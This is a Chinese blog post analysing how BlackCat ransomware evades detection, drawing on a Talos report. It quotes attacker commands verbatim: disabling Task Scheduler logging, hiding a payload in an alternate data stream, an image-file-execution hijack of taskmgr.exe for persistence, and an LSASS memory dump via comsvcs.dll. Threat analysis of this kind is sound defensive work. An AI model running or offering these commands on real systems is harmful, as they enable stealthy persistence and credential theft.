恶意软件免杀与技术(2022.03.18)

摔不死的笨鸟

已于 2022-03-21 11:18:17 修改

阅读量364

点赞数 1

分类专栏： Windows病毒分析文章标签： windows

于 2022-03-18 16:35:44 首次发布

本文链接：https://blog.csdn.net/qq_43312649/article/details/123578694

版权

Windows病毒分析专栏收录该内容

50 篇文章 15 订阅 ¥59.90 ¥99.00

订阅专栏

超级会员免费看

本文探讨了三款恶意软件——BlackCat勒索软件，通过禁用日志、隐藏ADS流和镜像劫持等方式进行免杀；SBIDIOT IoT恶意软件，通过连接默认网关验证互联网访问并防止常规UPX脱壳；以及LokiLocker勒索软件，利用KoiVM虚拟化技术混淆代码，并执行多种命令清除系统备份。这些恶意软件展示了攻击者的复杂手段和免杀策略。

摘要由CSDN通过智能技术生成

BlackCat勒索

链接：https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html
在设置反向 ssh 计划任务工具之前，攻击者禁用了任务计划程序的日志
c:\windows\system32\wevtutil.exe set-log microsoft-windows-taskscheduler/operational /enabled:false
C++实现了写入 C:\目录的alternate data stream (ADS)流隐藏
c:\windows\system32\windowspowershell\v1.0\powershell.exe -command & {(get-content c:\system -raw | set-content c:\ -stream ‘cachetask’)}
利用镜像劫持做自启动项
c:\windows\system32\reg.exe add hklm\software\microsoft\windows nt\currentversion\image file execution options\taskmgr.exe /v debugger /t reg_sz /d c:\system
直接使用系统的comsvcs.dll 转储 LSASS 内存
powershell rundll32.exe c:\windows\system32\comsvcs.dll, minidump